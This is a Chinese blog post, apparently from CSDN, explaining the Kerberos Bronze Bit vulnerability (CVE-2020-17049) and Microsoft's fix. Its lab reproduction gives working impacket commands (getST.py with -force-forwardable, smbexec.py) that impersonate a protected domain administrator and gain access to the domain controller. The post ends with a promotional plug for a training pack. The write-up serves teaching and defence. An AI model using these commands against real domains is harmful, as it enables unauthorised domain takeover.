Kerberos Bronze Bit 漏洞

漏洞背景

Kerberos Bronze Bit (CVE-2020-17049)漏洞是国外安全公司Netspi 安全研究员 Jake Karnes
发现的一个Kerberos安全功能绕过漏洞。该漏洞存在的原因在于KDC在确定Kerberos服务票据是否可用于通过Kerberos的约束性委派时,其方式中存在一个安全功能绕过漏洞。利用此漏洞,一个被配置为使用约束性委派的遭入侵服务可以篡改一个对委派无效的服务票据,从而迫使KDC接受它。

该漏洞启用的攻击是Kerberos委派引起的其它已知攻击的扩展。该漏洞绕过了现有攻击路径的以下两个缓解措施,提高了它们的有效性和通用功能性。

  • 绕过了Protecd Users组内用户和设置了“敏感账号,不能被委派”的安全措施,导致了这些用户也可以被委派。

  • 绕过在设置约束性委派时勾选“仅使用Kerberos”选项,既无法进行协议转换。

漏洞原理

我们首先来看一下KDC在约束性委派和基于资源的约束性委派校验过程中对于通过S4u2Self
请求的ST如何进行验证,验证流程如图所示,KDC首先会检查通过S4u2Self请求的ST的forwardable标志位:

1)如果该为0,也就是不可转发,则会在验证是否是RBCD委派

  • 如果不是RBCD委派,则不返回票据

  • 如果是RBCD委派,则再检查被委派的用户是否设置了不能被委派

  • * 如果设置了,则不返回票据
    
  • * 如果没设置,则返回票据
    

图片.png

2) 如果该位为1,也就是可转发,则会再验证两者之间是否有委派配置。

  • 如果有委派配置,则返回票据

  • 如果无委派配置,则不返回票据

从图中的流程可以看出,对于约束性委派和基于资源的约束性委派,最后不返回票据的原因各不相同。但是,只要forwardable标志位为1,则约束性委派和基于资源的约束性委派在S4u2Proxy这一步均能获得票据。因此,我们后续的攻击就能成功。

如图所示TGS-
REP包,从中可以看出通过S4u2Self协议请求的ST是使用Service的Hash加密,且forwardable标志位不在已签名的PAC中,而我们又已知Service的Hash,因此我们可以使用Service的Hash解密Service的ST,然后将forwardable标志位设置为1,再重新加密,形成修改后的ServiceST。这一步不需要篡改PAC签名,并且KDC在验证PAC签名的时候也无法察觉到数据包被篡改。由于修改后的Service
ST 的 forwardable 标志位为 1 ,因此在S4u2Proxy 这一步就能获得票据。

图片.png

漏洞复现

实验环境如下:

  • 域控:DC(192.168.41.10)

  • 域管理员:Administrator

  • 服务账户:hack

  • 域:hack.com

1、约束性委派攻击绕过

首先我们注册一个服务账户,并对该服务账户配置约束性委派

net user hack Admin123 /add /domain 创建一个普通用户
setspn -U -A priv/test hack 注册为服务账号

图片.png

如图所示,已经配置好了服务账户hack对cifs/DC.hack.com具有约束性委派,但是由于选择了“仅使用Kerberos”选项,因此不能进行协议转换。

图片.png

如图所示设置域管理员Administrator为“敏感账户,不能被委派”。

图片.png

当我们使用常规的委派攻击命令时,提示如下的错误信息。

[-] Kerberos SessionError:KDC_ERR_BADOPTION(KDC cannot accommodate requested
option)
[-] Probably SPN is not allowed to delegate by user test or inital TGT not
forwardable

图片.png

但当我们加上 -force-forwardable 参数绕过时,则成功获取到票据,如图所示:

#以Administrator身份请求一张访问cifs/DC.hack.com的票据,加上 -force-forwardable 绕过参数
python3 getST.py -dc-ip 192.168.41.10 hack.com/hack:Admin123 -spn cifs/DC.hack.com -impersonate Administrator -force-forwardable

图片.png

#导入该票据
export KRB5CCNAME=Administrator.ccache

图片.png

#访问域控
python3 smbexec.py -no-pass -k DC.hack.com

图片.png

2、基于资源的约束性委派攻击绕过

首先设置域管理员Administrator为“敏感账户,不能被委派”,然后再域控上配置用户hack到krbtgt服务具有基于资源的约束性委派,命令如下:

Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount hack
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

图片.png

当我们使用常规的基于资源的约束性委派攻击命令时,会提示如下错误信息

图片.png

但当我们加上 -force-forwardable 参数时,则成功获取到票据,如图所示:

#以Administrator 身份请求一张访问Krbtgt服务的票据,加上-force-forwardable 绕过参数
python3 getST.py -dc-ip 192.168.41.10 -spn krbtgt -impersonate administrator hack.com/hack:Admin123 -force-forwardable
#导入该票据
export KRB5CCNAME=administrator.ccache

图片.png

#以Administrator身份访问域控DC.hack.com
python3 smbexec.py -no-pass -k administrator@DC.hack.com -dc-ip 192.168.41.10

图片.png

漏洞预防和修复

微软已经发布了该漏洞的补丁程序,可以直接通过Windows自动更新解决此问题。
那么该补丁是如何修复该漏洞的呢?微软在补丁包中新增加了一个票据签名。在S4u2Self阶段生成的服务票据,KDC用其密钥在票据上进行了签名,并将签名插入了PAC中,而后PAC又经过两次签名(使用服务密钥PAC_Server_CHECKSUM和使用KDC密钥PAC_PRIVSVR_CHECKSUM签名)。在之后的S4u2Proxy阶段,KDC才会返回票据,否则KDC将会返回KRB_AP_ERP_MODIFIED消息。这样,攻击者就无法修该数据包中的forwardable标志位了。

(使用服务密钥PAC_Server_CHECKSUM和使用KDC密钥PAC_PRIVSVR_CHECKSUM签名)。在之后的S4u2Proxy阶段,KDC才会返回票据,否则KDC将会返回KRB_AP_ERP_MODIFIED消息。这样,攻击者就无法修该数据包中的forwardable标志位了。

学习计划安排


我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!

如果你对网络安全入门感兴趣,那么你需要的话可以

点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值